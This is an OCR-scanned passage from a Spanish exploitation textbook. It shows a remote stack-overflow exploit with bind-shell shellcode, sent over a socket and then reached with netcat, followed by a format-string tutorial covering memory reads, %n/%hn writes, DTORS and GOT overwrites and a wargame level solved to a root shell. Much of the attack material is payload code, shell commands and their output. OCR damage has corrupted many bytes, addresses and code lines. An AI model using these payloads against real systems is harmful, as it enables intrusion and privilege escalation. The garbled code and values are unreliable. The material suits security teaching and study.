"\x6a\x0 1 \x5  6\x89\xel \xcd\x80 \xb0\x66\xb3 " 
n\x05\x52 \x52 \x5  6 \x89\xel \xcd\x8Q\x8  9\xc3 " 

1T\x31\xc9\xbl\x03\xfe\xc9\xb0\x3f  XxcdXxGO" 

"\x75\xf 8 \x3  l\xc0\x52\x68\x6e\x2f\x73\x68TI 
Tf\x68\x2  f  \x2  f  \x62  \  x6  9\x3  9\xe3\x52  \  x53\x8  9H 
"\xel\x52\x39\xe2\xbQ\xGb\xcd\x80") 

S  =  socket (AF_INET,  SOCK_S  TRE AM) 
s.  connect  (  ("192 . 163 . 1 . 135",  20001)  ) 
retad-dr  =  pack("<L",  0xG8G49f4f) 
jmp  esi  =  "\xff\xeS" 

request  -  "GET  /"  +  "b"*l39  +  retaddr  +  jmp  esi  +  n  HTTP/1, 1 11  +  r,\x90"*10Q  t  shell  code 
print  u  [  +  ]  Sending  payload:  M  +  request 
$ . send (request) 


Si  el  shellcode  es  ejecutado  se  adjnntara  una  shell  al  puerto  local  31337  al  que  podremos  conectamos. 
Observe  el  resultado  de  una  explotacidn  exitosa  en  la  siguiente  imagen. 


0  t  '  blackngehrtjbbc.  - 


blackngel@bbc : ~$  python  ex01, py 
[+]  Sending  payload:  GET  /bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
bbbbbO+*+  HTTP/1, 


blackngel^bbc:-$  nc  192,168,1-135  313 3? 


Id 


uld=200©l  gld=2000i  groups=20001 
exit 

blackng€rl’@bbc:-$  | 


Tmagen  05 A 2:  Resultado  de  expiotadon  de  un  servidor  remoto. 


Queda  claro  que,  dado  que  la  instruction  jmp  esp  que  utilizamos  en  nuestro  payload  siempre  se 
encuentra  ubicada  en  la  misma  direccion,  ni  siquiera  la  protec  cion  A  SLR  podra  trustrar  eualquier 
ataque  futuro.  Si  esta  aplicacion  vulnerable  se  encontrase  instalada  en  otros  servidores  a  lo  largo  de  ia 
red  de  redes,  multi tud  de  maquinas  podrian  verse  comprometidas  tan  solo  realizando  pequenos  ajustes. 
Concluimos  pues  que  de  nada  le  servira  el  bastionado  de  todos  sus  serv  idores  o  arquitectura  de  red  si 
habilita  un  servicio  vulnerable  abierto  al  publico.  Una  entrada  no  autorizada  con  los  permisos  de  un 
proceso  puede  causar  estragos  o  conducir  a  una  posterior  escalada  de  privilege  os. 
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5.8.  Dilucidacion 

El  presente  capitulo  ha  constituido  un  gran  salto  hacia  delante  en  las  habilkiades  que  se  le  ban 
proporcionado  al  lector  a  [a  hora  de  enfrentarse  con  vulnerabilidades  que  requieren  metodos  mas 
especificos  y  efectivos.  Hemos  demostrado  que  ligeras  modi  Head  ones  en  nuestros  exploits  pueden 
permitimos  evadir  limitaciones  sobre  una  direccion  de  re  tom  o  guardada  o  en  espacios  de 
almaeenamiento  relativamente  pequenos.  Destripamos  mmbien  los  conceptos  basicos  de  los 
desbordamientos  de  entero  y  edmo  estos  son  fiiente  comun  de  otros  errores  mas  graves  que  permiten 
ejecutar  eodigo  arbitrario.  Mediante  tecnicas  como  jmp2esp  hemos  comprendido  que  cuando  se  habla 
de  exploiting  y  stack  overflows,  los  mundos  de  Linux  y  Microsoft  no  se  encuentran  tan  distantes,  las 
consecuencias  de  nn  grave  fallo  de  program acidn  alcanza  proporeiones  identicas  en  ambos  sistemas, 
Para  terminal  hemos  detallado  las  modemas  tecnicas  de  Return  Oriented  Programming  o  ROP,  tan 
necesarias  debido  a  las  medidas  de  seguridad  implantadas  que  estudiaremos  en  el  capitulo  7  de  este 
Hbro,  y  demostramos  que  una  vulnerabilidad  remota  const ituye  el  objelo  de  deseo  de  todo  atacante 
motivado,  logrando  asi  el  complete  control  de  un  servidor  en  la  red. 
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Explotando  format  strings 


Dentro  de  las  vulnerabilidades  de  software,  los  errores  de  cadenas  de  formato  quizas  scan  los  mas 
sencillos  de  localizar.  A1  contrario  que  un  buffer  overflow,  que  depende  de  muehas  otras  condieiones 
y  que  a  veces  se  presenta  en  formas  de  lo  mas  variopintas,  por  ejemplo  oeasionando  una  condition  de 
ojf-by-one  limitante,  las  funciones  que  manejan  cadenas  de  formato  siempre  siguen  un  patron 
reconoeible. 

Su  origen  se  remota  a  los  anos  1999  y  2000  de  nuestra  era,  y  algunas  aplieaciones  eomo  wu-ftpd, 
teinetd  o  screen  fueron  explotadas  debido  a  estos  fallos  de  seguridad.  Mas  tarde,  herramientas  de 
analisis  estatico  de  codigo  ban  ayudado  a  encontrar  infinidad  de  vulnerabilidades  de  esta  clase  de  un 
modo  automatic©, 

El  proceso  a  traves  del  cual  estos  bugs  pueden  ser  explotados,  requiere  una  profunda  asimilacion  de 
eomo  trabajan  las  funciones  de  la  familia  *  print  fn  y  sobretodo  de  eomo  esta  organ izado  el  stack 
euando  estas  son  ilamadas,  Una  vez  comprendido  el  papel  que  juega  cada  elemento  en  el  ataque,  este 
conocimiento  nos  servira  practicamente  para  el  resto  de  las  situaciones. 

6.1.  Analisis  del  problema 

Veamos  a  continuation  dos  pequenos  ejemplos  de  aplieaciones  gemelas  de  modo  que  se  haga  evidente 
el  problema; 

/*  Correct©  */ 

int  main(int  arge,  char  *argv[]) 

{ 

if  (  arge  >  1  ) 

printf  ( ,T%s"  ,  argv[l]}; 
return  0; 


/*  Incorrect©  */ 
int  main {int  arge,  char  *argv[l) 
{ 

if {  arge  >  1  ) 

printf  (argv [1] ) ; 
return  0 ; 

} 


El  segundo  ejemplo  que  mostramos  permite  al  usuario  introducir  testigos  de  formato,  y  eso  coolie  va 
comportamientos  peligrosos.  Veamos  lo; 
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blackngel@bbc  i  ./fmt  exploit 
exploit 

blackngel@bbc : -$  ./fmt  exploit. %x 
exploit . bf f f f 74b 
blackngel@bbc  r  -$ 


Tal  y  como  se  observe  hemos  logrado  volcar  algun  contenido  de  la  memoria.  Veamos  algunas  eosas 
mas.  Cuando  una  funcion  de  la  familia  * printf  ( )  (u  otra  en  la  que  una  cadena  de  formato  pueda  ser 
arbitrariaraente  propore i on ada,  como  sysiogo)  es  mvocada,  sus  argumentos  son  colocados  en  la 
memoria,  especfficamente  en  la  pila.  de  forma  ordenada: 

[cadena  de  formato] [parametro  1] [parametro  2] [parametro  3] 

Depend  iendo  de  si  los  argumentos  son  cadenas,  punteros  o  variables  normal  es,  lo  que  tenemos  en  ei 
stack  serin  los  valores  o  las  direcciones  que  apuntan  al  lugar  donde  estos  valores  se  encuentran 
realmente  almacenados.  Esta  situacion  puede  ser  aprovechada  por  an  atacante.  Veamos  por  que: 

blackngel@bbc:~$  .  /fmt  AAAA.  %0-ftx.  %08x.  %08x.  %08x.  %0  8x.  %‘0-8x.  %'0  8x.  %0Sx 

AAAA  >bffff727.000  0  00d3  ,bffff450.bffff5e4  .  f€3d4e2e .  0000.000.3  -  b7e78cbc  .  4 14 14141 

blackngel@bbc: 


Provocamos  un  volcado  de  los  valores  de  la  memoria  y  al  final  nos  enconlramos  con  el  valor 
hexadecimal  de  miestra  cadena  AAAA.  Veamos  los  testigos  que  tendran  su  lugar  dentro  del  ataque: 


Testigo 

Description 

%d 

Formato  de  un  entero 

%u 

Formato  de  un  entero  sin  signo 

Is 

Formato  de  una  cadena 

%n 

Numero  de  bytes  escritos  hasta  el  momento 

<n>$ 

Parametro  de  Acceso  Directo 

Tab  I  a  06.01 :  Testigos  de  formato. 


EI  parametro  de  acceso  directo  sera  explicado  en  la  section  correspondiente.  El  testigo  %n  es  el  que 
mas  nos  interesa.  Un  ejemplo; 

printf  ( T,Hola%n,T num)  ; 

Nos  encontramos  con  una  funcion  de  escritura.  printf  ( )  no  sustituye  el  testigo  %n  por  el  valor  de  num, 
sino  que  introduce  en  num  el  numero  de  bytes  (caracteres)  que  han  si  do  escritos  hasla  el  momento,  en 
este  caso  4.  Esto  sera  totalmente  crucial  mas  adelante, 

Advertimos  que  este  testigo  se  puede  utilizar  tambien  de  la  siguiente  forma:  %bn,  lo  que  consigue  el 
pretijo  h  es  que  en  vez  de  ocupar  4  bytes  (que  es  el  tamano  habitual  de  un  entero  en  la  arquitectura 
I A  32),  se  provoca  un  typecast  a  un  Lipo  short  de  modo  que  solo  se  eseriben  2  bytes. 
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6.1.1.  Leer  de  la  memoria 

Gracias  al  testigo  %x,  hemos  podido  volcar  valores  de  la  memoria,  en  este  caso  direcciones.  Pero 
cuando  deseamos  imprimir  cadenas  utilizamos  el  testigo  %$,  Ya  que  podemos  alcanzar  la  posicion  de 
Questro  primer  parametro,  podemos  intentar  leer  de  esa  posicion  de  memoria  0x4 1414141.  Veamos: 

blackngel@bbc  :  -$  .  /fmt  AAAA  .  %Q8x .  %08x ,  lOBx .  %0  8x.  %0  8x .  %G8x .  %0  8x  .  %s 
Fallo  de  segmentacion 
blackngel@bbc  * 


El  resultado  era  esperado.  Si  intentamos  leer  desde  una  direccion  de  memoria  no  mapeada,  e!  programa 
senalara  un  error  de  segmentacion.  Biem  dado  que  controlamos  el  primer  parametro,  podemos  utilizar 
una  direccion  arbitraria  de  nuestra  eleccioii,  por  ejemplo  la  de  una  variable  de  entomo. 

blackng.el@bbc: -$  , /getenv  SHELL 
SHELL  is  located  at  Gxbf£ff78b 

blackngel@bbc:~$  ./fmt  'perl  -e  ’print  "\x8b\xf 7\xf f \xbf " T ' .  \ 
%08x.%08x.%08x.%08x.%08x.%08x.%G8x.%s 

, bf f f f 729 . OOQGQOdS ,bf f f f 450 . bf ££f 5e4 . f 63d4e2e , 00000003 .b7e78cbc, 

SHELL=/bin/basb 
blac  knge  X  @bbc : - $  

Comprobamos  que  es  posible  leer  posiciones  de  memoria  arbitrarias.  Avancemos  hacia  algo  mas  util 

6.1.2.  Parametro  de  acceso  directo 

Las  funciones  de  la  familia  *printf  O  del  lenguaje  de  programarion  C  nos  facilitan  un  testigo  para 
evitar  o  sallar  un  numero  dado  de  argumentos  y  acceder  directamente  a  otro.  Veamos  un  ejemplo: 

printf  ( |TVAR  3  =  %3$dT1 ,  varl,  var2,  var3) ; 

Ten i end o  en  cuenta  que  las  ires  variables  pasadas  a  printf 0  son  del  tipo  int,  el  valor  quc  se 
iinprimira  en  este  caso  sera  el  de  var3,  ya  que  se  le  indica  mediante  3$  que  acceda  directamente  a  el. 
Este  parametro  lo  podemos  utilizar  tambien  desde  la  linea  de  comandos: 

blackngel@bbc: -S  ./fmt  'perl  -e  'print  T,\x8b\xf 7\xf f \xbf " 1 ’ . %8\$s 

, SHELL=/bin/bash 

blackngel@bbc: 


IN  ota 


Si  usted  visualiza  que  los  cuatro  primeros  caracteres  de  la  salida  son  un  conjunto  de 
simbolos  extranos,  sepa  que  constituyen  la  representacion  ASCII  de  la  direccion  que 
estarnos  imprimiendo. 


Podemos  utilizar  el  parametro  de  acceso  directo  para  cualquier  otro  testigo  de  formato:  %s,  %x, 

etc... 
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6.1 .3.  Escribir  en  la  memoria 

Como  ya  hemos  dicho,  leer  de  la  memoria  no  es  algo  muy  atractivo,  escribir  si,  dado  que  asi  es  como 
se  consigue  controlar  la  ejecucidn  de  un  programa  y  rcdirigir  el  flujo  hacia  un  cddigo  de  nuestra 
election. 

Hemos  visto  tambien  que  la  unica  forma  de  escribir  valores  es  utilizando  cl  testigo  %n.  Veamos  como 
podemos  ulilizar  nuestras  habilidades  para  modificar  un  valor  dentro  del  siguiente  programa. 

tf include  <stdio.h> 
linclude  <stdlib.h> 

#include  <string,h> 

int  main(int  argc,  char  *argv[J) 

t 

static  int  value  =  0; 
char  nombre [2561 ; 
if  {  argc  <  2  ) 
exit (Q); 

strncpy (nombre,  argv[l],  255); 
printf  (■' \nTe  llamas:  ,T)  ; 
printf (nombre) ; 
if  (  value  !  —  0  ) 

system C"/bin/sh"> ; 
printf  ( ,T\n")  ; 
return  0; 


Cambiamos  el  propietario  a  root  y  observamos  una  ejecucion  rutinaria. 

blackngelObbc: sudo  chown  root  fmtsh 
blackngeldbbc : slide  chmod  4755  fmtsh 
blackngel@bbc: ./fmtsh  blackngel 
Te  llamas:  blackngel 
blackngel@bbc : 


/pComo  ejecutar  esa  preciosa  shell  con  permisos  de  root  si  la  variable  value  no  se  encuentra  bajo  cl 
control  del  usuario?.  Un  hacker  afrontaria  el  problema  desde  un  punlo  de  vista  completamente  distinto. 
Dado  que  se  trata  de  una  variable  eslatiea  inicializada,  sabemos  que  se  encuentra  en  la  region  DATA 
de  la  memoria.  Entonces  podemos  obtener  su  direccion  sin  mayores  complicaciones: 

blackngel @bbc : -$  ob j dump  -D  ./fmtsh  |  grep  "value" 

08049760  <value.2514>: 


Ahora  seria  posible  ulilizar  el  testigo  %n  para  escribir  un  valor  entero  en  esa  direccion.  Tecnicamente, 
lo  que  se  escribira  en  value  seran  los  bytes  que  printf  ()  haya  impreso  hasta  que  se  encuentra  el 
testigo.  A1  ser  este  valor  distinto  de  cero,  un  atacante  lograra  que  la  shell  se  ejecute: 

blackngelQbbc;  *-$  ./fmtsh  vperl  -e  'print  ,,\x6Q\x97\x04\x08" T  ’  %8\$n 

sh“3.2#  exit 

exit 

Te  llamas : \  # 
blacknge 1 @bbc : ~  $ 
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De  mo  do  que  hemos  utilizado  de  forma  comb  in  ad  a  el  parametro  de  acceso  di  recto  junto  con  el  testigo 
de  escritura.  La  variable  value  habra  tornado  el  valor  4  que  son  los  caracteres  que  printf  ()  escribid 
antes  del  testigo  %n.  El  siguiente  paso  en  el  ataque  es  controlar  el  valor  real  que  se  escribe  en  una 
direccion  dada,  y  ya  que  el  valor  es  iguai  al  nuinero  de  caracteres  escritos  hasta  que  se  encuentra  con 
in,  parece  logico  escribir  en  la  cadena  tantos  caracteres  como  el  valor  que  queremos  situar  en  la 
direccion  elegida. 

Un  exploiter  dispone  de  ciertos  medios  para  simplificar  la  tarea,  Los  testigos  de  formato  permiten 
especificar  el  ancho  con  que  son  mostrados  los  valores.  En  realidad  es  lo  que  hemos  hecho  hasta  ahora 
cuando  utilizdbamos  los  testigos  de  modo  que  obligabamos  a  que  las  direcciones  tuviesen 

siempre  un  ancho  de  ocho  caracteres  a  pesar  de  que  el  valor  fuese  mas  pequeno, 

Nosotros  podemos  volcar  un  valor  de  la  memoria  con  un  ancho  prefijado.  For  ejemplo,  si  deseamos 
escribir  un  valor  400  en  la  direccion  de  memoria  deseada,  podemos  utilizar  el  siguiente  especificador: 

biackrtgelgbbc;~$  ./fmtsh  'perl  -e  Tprint  IT\x5c\x97\xQ4\xQ8"  1  '  %  .  400d%8\$n 

El  punto  en  % .  4  00d  sirve  para  proteger  los  numeros  enteros.  Si  pudiesemos  comprobar  el  valor  escrito 
en  0x0 8 04 975cs  seguramente  veriamos  un  0x194,  que  en  decimal  es  404,  eso  es  porque  no  hemos 
tenido  en  cuenta  los  cuatro  caracteres  que  ocupa  la  direccion  escrita  al  principio  de  la  cadena.  Teniendo 
en  cuenta  ese  pequeno  detalle  hubiesemos  utilizado  un  testigo  con  un  ancho  de  396  caracteres  para 
obtener  el  valor  final  deseado. 

6.2.  Objetivos  primarios 

Comenzaremos  por  mencionar  dos  detalle s  obvios  e  importantes; 

La  primera  es  que  no  siempre  encontraremos  variables  en  una  aplicacion  dispuestas  a  ser 
modificadas. 

-  La  segunda,  y  la  mas  importante,  es  casi  imposible  que  usted  encuentre  una  aplicacion  en 
la  que  esa  variable  le  otorgue  acceso  a  una  shell  directa  (de  verdad  que  lo  sentimos). 

Existen  otros  objetivos  mas  realistas  e  inleresantes  para  sobrescribir,  y  la  consecuencia  principal  sera 
la  ejecucion  de  codigo  arbitrario. 

6.2.1.  DTOR  (Destructores) 

Tal  vez  los  destructores  sean  mas  comunes  para  aquellos  que  hayan  programado  en  lenguajes 
orientados  a  objetos  asi  como  C++.  Pero  en  C  tambien  es  posible  definirlos, 

Los  destructores  son  funeiones  que  se  ejecutaran  justo  antes  de  La  final  izac  ion  de  un  programa.  En  C 
pueden  declararse  del  siguiente  modo: 

static  void  funcion de5t  (void)  attribute  (  (destructor)  )  ; 

Las  direcciones  de  estos  destructores  son  almacenadas  cn  una  seccion  conocida  como  DTORS. 
Anal  ice  mos  la  seccibn  .dtors  de  una  aplicacion  sin  destructores: 


blackngelSbbc : objdump  -s  -j  .dtors  . /fmtsh 
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./fmtsh:  file  format  elf 32-1386 
Contents  of  section  .dtors: 

80 4 9640  ffffffff  00000000  . 

blackngel@bbc: 


Otra  forma  sencilla  de  obtener  la  direccion  de  .  dtors  utilizando  la  suite  Radare,  es  utilizar  el  siguiente 
eo  man  do: 

blackngel@bbc : ^$  rabin  -s  ./vuln  |  grep  ,f _ DTOR" 

Ox08D49£4G  OxOOOOlflc  DTOR  LIST 

0x0804  9f 4  4  0x00001f20  DTOR  END 


Cuando  un  destructor  es  definido,  una  direccion  es  situada  entrc  los  valores  o.xf  f  ff  f  f  f  £  y  oxoooooooc 
de  la  salida  de  objdump.  En  este  caso  la  lisla  se  encuentra  vaeia5  pero  nosotros  podemos  sacarle  partido 

de  todos  rnodos.  Si  logramos  eseribir  on  valor  en  _dtqr_end _ ,  que  es  precisamente  el  final  dc  la 

lista  de  destructores  oxoooooooo,  lo  que  se  eneuentre  en  esa  direccion  sera  ejecutado  a  la  salida  del 
program  a. 

_dtor_end _ ,  para  nuestros  ejemplos,  estara  en  0x0 8  04  640  +  4.  Surnames  4  bytes  dado  que  el  primer 

valor  lo  constituye _ dtor  list  . 

6.2.2.  GOT  (Tab la  de  Offsets  Global) 

La  section  GOT  es  una  region  de  la  memoria  que  conti ene  las  direcciones  absolulas  a  las  funeiones 
que  son  utilizadas  a  lo  largo  de  un  programs  Veamos  en  que  direccion  se  encuentra  esta  tabla: 

blackngelObbc : objdump  -j  . got  ./fmtsh 
./fmtsh:  file  format  elf32-i386 
Contents  of  section  .got: 

804971c  00000000  _ 


Una  vez  localizada  la  tabla  podemos  proceder  a  estudiar  su  contenido: 

biacxngeldbbc : -$  gdb  -q  ./fmtsh 
(gdb)  break  *main 
Breakpoint  1  at  0x80484a4 
(gdb)  run 

Starting  program:  /home/blackngel /fmtsh 
Breakpoint  l,  0xG8G484a4  in  main  () 

(gdb)  x/12x  0x08  04  971c 

0x804971c  <  DYNAMIC-1- 2 0  8> :  0x00000000  QxDSQ4964c  0xb7fff668  0xb7ffGc30 
0x804972 c  <_GLOBAL_OFFSET_TABLE_+12> :  0x0804839a  0x080483aa  0x080483ba 
0x080483ca 

0x804 973c  <_GLOBAL_OFFSET_TABLE_-h2  8>:  0xb7e8b370  0x080483ea  0x080483fa 
0x0304  34  Ga 


Esas  direcciones  que  observamos  deberian  corresponderse  con  funeiones  utilizadas  por  la  aplicacion. 
Entramos  en  el  las  para  comprobarlo: 

(gdb)  x/i  0x0804 8 40a 

0x804840a  <exit@plt+6> :  push  $0x38 

(gdb)  x/i  0x080483aa 

0x80483aa  CsystemOplt + 6> :  push  $0x8 
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Gbservamos  la  presencia  de  las  funciones  exito  y  system  0,  todo  parece  correcto.  Advierta  que 
como  ninguna  de  las  dos  ha  sido  invocada,  las  direcciones  encontradas  todavia  apuntan  a  la  tab  la  de 
enlazado  PLT  que  detallaremos  en  el  proximo  capitulo.  En  lo  que  a  redirection  del  tlujo  se  retlere,  ai 
igual  que  ocurria  con  DTGRS,  si  logramos  modificar  una  de  estas  posiciones  de  memoria  por  otra  que 
apunte  a  un  shellcode,  podremos  adquirir  control  total  sobre  el  proceso. 

Debemos  tener  en  cuenta  no  obstante,  que  la  funcion  a  la  que  se  esta  sustituyendo,  al  contrario  que 
DTORS,  debe  ser  ejecutada  despues  de  explotar  la  cadena  de  formato  y  antes  de  que  termine  el 
program  a.  Las  opeiones  -tr  del  programa  ob  j  dump  tambien  son  de  mucha  utilidad  para  obtener  todas 
estas  direcciones  de  i  uteres. 


6.3.  Prueba  de  concepto 

Aprovecharemos  la  ocasion  para  superar  un  reto  de  cadenas  de  formato  presentado  en 
smashthestack.org.  Observemos  el  programa  vulnerable  y  la  distaneia  a  la  que  se  encuentran  los 
parametros  dentro  del  stack: 

^include  <stdio.h> 

ft  include  <string.h> 

int  main(int  arge,  char  **'argv) 

{ 

char  buf [ 1024 ] ; 

strncpy(bufF  argv[l],  sizeof (buf)  -  1); 
printf (buf) ; 
return  0; 

} 


level 9(1  id  :  /  levels?  , /levels  AAAA.%08x.%08x.%08x.%08x 
AAAA.bf  ffde34 . 000003e7 ,000.00000.41414141 


Tenemos  nuestro  primer  parametro  en  la  cuarta  position.  En  este  ataque  utilizaremos  !a  seccion 

DTORS  por  claridad,  en  concreto  la  direction  de _ dtor_ehd _ eon  el  fin  de  ejecutar  eddigo  arbitrario. 

Tenga  en  cuenta  el  lector  que  en  un  entomo  real  la  susti tucion  de  una  entrada  en  la  GOT  siempre  es 
preferible. 

A  continuation  colocaremos  el  contenido  de  un  shellcode  en  una  variable  de  entomo.  precedido  de  un 
colchon  de  instrueciones  nop.  Luego  obtendremos  su  direction  e  intentaremos  escribirla  en 

_DTOR_END _ . 

leve!9@io : /levels?  export  MAIL='perl  -e  ’print  " \x90 "xl 000 1 ” ' cat  /tmp/sc" 


Ni>ta 


Dam  os  por  supuesto  el  heeho  de  que  un  shellcode  ha  sido  voleado  previamente  en  el 
fie  hero  /tmp/sc. 


level9.fi id.: /levels?  /tmp/getenv  MAIL 
MAIL  is  located  at  0xbfffdb45 

level 9@ io : /levels?  objdump  “S  -j  . dtors  ./levels 
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. /Ievel9:  formato  del  fichero  eif32-±386 
Contenidc  de  la  seccion  . dtoxs: 

8049510  ffffffff  00000000  _ 

level 90 io: /levels$ 


Ya  tenemos  la  direccion  donde  se  encuentra  nuestro  shellcode  y  tambien  la  direccion  de 

_ dtor  end _ ,  que  en  el  ejemplo  mostrado  es  Qx080495i4.  Ahora  debemos  averiguar  como  escribir 

el  valor  adecuado.  Algunos  lectores  podrian  pensar  lo  siguiente:  Si  la  direccion  del  shellcode  es 
Oxbf f fdb45,  que  convert  i  do  en  decimal  es  3221216069,  un  comando  como  el  siguiente  deberia 
funcionar; 

level  9gio:/leveis$  ./leve!9  'perl  -g  'print  TI\xl4\x95\xQ4\x08"  T  .  322121  6069x%4\$n 

Pero  en  la  mayoria  de  los  sistemas  esto  provocard  un  fallo  de  segmentation,  ya  que  no  se  permite 
escribir  im  entero  largo  de  un  solo  golpe.  Enima  seccion  anterior  mencionarnos  que  pod  tamos  utilizar 
el  testigo  %hn  en  vez  de  in  para  escribir  valores  tipo  short  (un  word  en  sistemas  Windows)  que  ocupan 
2  bytes  en  vez  de  4. 

Escribiremos  nuestro  valor  largo  (dword)  en  dos  tiempos.  Es  decir,  si  necesitamos  escribir  Oxbfff db45 
en  0x08049514,  en  realidad  podemos  obtcncT  el  mismo  resultado  en  dos  sencillos  pasos: 

0x08049516  =  Oxbfff 

0x08049514  =  0xdb45 

Recuerde  siempre  la  arquiteetura  con  la  que  trabaja,  en  este  caso  las  direcciones  deben  atenerse  a  la 
convention  little-endian*  Con  esto,  primero  grabamos  un  valor  en  los  dos  uitimos  bytes  de 

__dtgr  end _ ,  y  luego  otro  valor  en  los  dos  primeros,  Tenga  en  cuenta  que  podemos  volcar  tan tos 

valores  de  la  mem  or  i  a  como  deseemos: 

level9&io: /levels?  ./Ievel9  'perl  ’print  "\xl6\x95\xG4\x03" ,  \ 

M  \xl4\x95\x04\x0  8",i'%4\$x.|.5\3x 
#  4  8  04  9516 , 804  9514 
level 9 @ io : / levels  $ 


Ahora  calcularemos  los  valores  precisos  para  la  explotacion  del  programa.  En  la  primera  direccion 
necesitarnos  escribir  Oxbfff,  que  en  decimal  es  49151,  pero  no  debemos  olvidamos  nuevamente  que 
al  haber  escrito  dos  direcciones  ya  llevamos  8  bytes  en  la  cuenta,  de  modo  que  para  conseguir  ese 
valor  le  restaremos  esa  cantidad. 

0x08049516  =  49143 

Vamos  con  el  siguiente  valor.  0xdb4  5  es  en  decimal  56133.  Debemos  tener  en  cuenta  los  bytes  que  ya 
hemos  escrito  hasta  el  momento  que  son:  8  bytes  de  las  direcciones  +  49143  bytes  del  primer  valor. 
Para  alcanzar  la  cifra  56133  solo  tenemos  que  restarle  la  cantidad  anterior,  y  entonces  nos  queda: 

56133  -  49151  =  6982 

Por  lo  tanto: 

level9@io : /levels?  . /level 9  "perl  -e  'print 

"\xl6\x95\xG4\x03,T . T1  \xl  4 \x95 \x04 \x0  8  "  '  '  %  .  4  9143x%4\$hn%  .  6982x%5\?hn 

[00000000000000000, . 

.  0000000000000000] 
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sh-3.1#  exit 
exit 

1  eve 1 9  @  i  o  : / level s $ 


6.3.1.  Cambios  de  orden 

El  ejemplo  que  mostraraos  eo  la  seceion  anterior  ha  resultado  relativamente  sencillo  de  explotar, 
primero  eseribiinos  an  valor  49151  y  seguidamente  alcanzamos  el  56133.  ^Que  ocurre  si  el  shellcode 
estuviese  en  una  direction  como  Oxbf  f  fa6eb? 

Oxbfff  =  49151 
0xa6eb  =  42731 

El  segundo  valor  que  debemos  escribir  es  tnenor  que  el  primero.  Si  escribimos  49151  caracteres  con 
d  espetiticador  de  anchura,  luego  no  podemos  retroceder  para  escribir  menos  caracteres,  esto  es  obvio. 

El  parametro  de  acceso  directo  nos  permite  solventar  este  problems  ya  que  podemos  primero  acceder 
a  la  position  5  y  despues  a  la  position  4. 

./prog  'perl  -e  'print 

"\xl6\x95\x04\x0S" . "\xl4\x95\x04\x08"' s%.42723x*5\$hn%.6420x%4\$hn 


Esquematicamente : 

[0x08049516] [0x08049514] [%.] [42731-8] [x] [%5\hn] [%.] [49151-42731] [x] [%4\hn] 

Program  received  signal  SIGSEGV,  Segmentation  fault. 

Oxbff fcdb2  in  ??  () 

{gdbj  x/l6x  0x08049514 

0x8049514  <  DTOR BMD  >:  0xbfffa6eb  0x00000000  OxQOOOOOOl  OxQQQGQQlQ 

_ dtqr_ene> _ se  ha  alterado  correctamente.  Aprovecharemos  para  facilitar  al  lector  una  formula  para 

obtenere!  orden  correcto  de  la  inyeccion; 

HOB  ->  2  bytes  superiores  de  la  direccidn  a  escribir. 

LOB  ->  2  bytes  inferior.es  de  la  direccion  a  escribir, 

HOB  <  LOB: 

[ d i recci 6n + 2  ] [direccion] % , [HOB-8] x% [off set] \$hn% . [LOB-HOB] x% [of fset+1] 

HOB  >  LOB: 

[di reccion+2] [direccion] % . [LOB-8] x% [off set+1] \$hn%. [HOB- LOB ] x% [offset ] 

El  primer  easo  que  examinamos  conviene  con  la  siguiente  estruetura: 

HOB  <  LOB  -  Oxbff  f  <  Gxdb45 
[direccion  +  2]  —  0x08049516 

[direccibn]  =  0x08049514 

[HOB-8]  =  49151  - 

[offset]  =  4 
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[ LOB -HOB j  =  56133  -  49151  =  6982 

[offset+1]  =  5 


6.4.  Format  Strings  como  Buffer  Overflows 

Veamos  como  podemos  aprovechar  un  error  tie  cadenas  de  formato  atacandolo  como  si  se  tratase  de 
un  desbordamiento  de  buffer  habitual. 

#include  <sldio.h> 

# include  <stdlib,h> 

#include  <string.h> 

int  main (int  argct  char  **argv) 

{ 

char  buffer [32]; 
if  (  argc  !=  2  )  { 

printf { "Uso :  %s  ARGUMEHTO\nu ,  argv[G]); 
exit (0) r 

} 

if  (  strlen  (argv[l])  <  32  ) 
sprintf {buffer,  argv[l]}; 
return  0; 

} 


En  principio  el  program  a  parece  seguro,  pues  dispone  de  una  comprobacion  cuyo  objetivo  es  bloquear 
la  llamada  a  sprintf  ()  en  caso  de  que  el  primer  argumento  pro  pore  ionado  sea  igual  o  superior  a  32 
bytes,  pero  un  nuevo  analisis  es  requerido.  Debe  recordar  que  la  forma  correcta  de  la  funcion  se  define 
en  la  pagina  man  COTTIO. 

int  sprintftchar  *strr  const  char  ^format,  ...) 


Entonces  la  llamada  deberia  haberse  ejecutado  del  siguiente  mode: 

sprintf (buf f er,  fl %s,T,  argv[l]); 


Dado  que  no  ha  sido  el  caso,  nada  nos  impide  proporcionar  un  testigo  con  un  especificador  de  anchura 
arbitrario,  Introduciendo  una  cadena  como  %.  4  4xaaaa  (9  earacleres  de  largo)  un  atacante  superara  el 
test  de  ctrien  ( } ,  y  aunque  parece  demasiado  aorta  como  para  provocar  un  desbordamiento  del  buffer, 
el  testigo  de  anchura  se  encargara  de  expand ir  la  cadena.  Un  analisis  con  GDB  mostrara  lo  siguiente: 

biackngel@bbc: -5  gdb  -q  */fsbo 
(gdb)  run  %.44xAAAA 

Starting  program:  /home/blackngel/f sbo  %.4  4xAAAA 
Program  received  signal  SIGSEGV,  Segmentation  fault. 

0x41414141  in  ??  () 

(gdb) 


Queda  claro  que  podemos  tomar  el  control  sobre  el  progrania  y  ej  ecu  tar  codigo  arbitrario.  Este  metodo 
tiene  una  limilacion.  La  libreria  GNU  C  (glibc)  puede  provocar  que  el  programa  termine  de  forma 
inesperada  si  el  ancho  proporc ionado  en  el  testigo  es  superior  a  1 000  bytes.  Esto  nos  impide  desbordar 
buffers  con  tamahos  demasiado  grandes,  pero  seguira  siendo  una  tecnica  util  en  las  demas  ocasiones. 
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6.5.  Objetivos  secundarios 

Si  bien  tanto  DTORS  como  GOT  han  sido  objetivos  anipliamente  divulgados  por  articulos  y  libros 
dedicados  a]  mundo  del  exploiting,  estudiaremos  brevemente  otros  pantos  donde  el  codigo  puede 
bifurcarse  en  caso  de  ser  sobrescritos  por  referencias  o  direcciones  de  nuestra  eleccion. 

6.5.1.  Estructuras _ atexit 

Durante  mueho  tiempo,  cuando  se  ha  hablado  de  objetivos  susceptibles  de  ser  sobrescritos  por  tin 

atacante,  fuentes  externas  han  citado  la  sobrescritura  de  estructuras _ atexit  como  uno  de  los  posibles 

puntos  debiles  para  desviar  el  flujo  de  ejecucion  de  un  programa. 
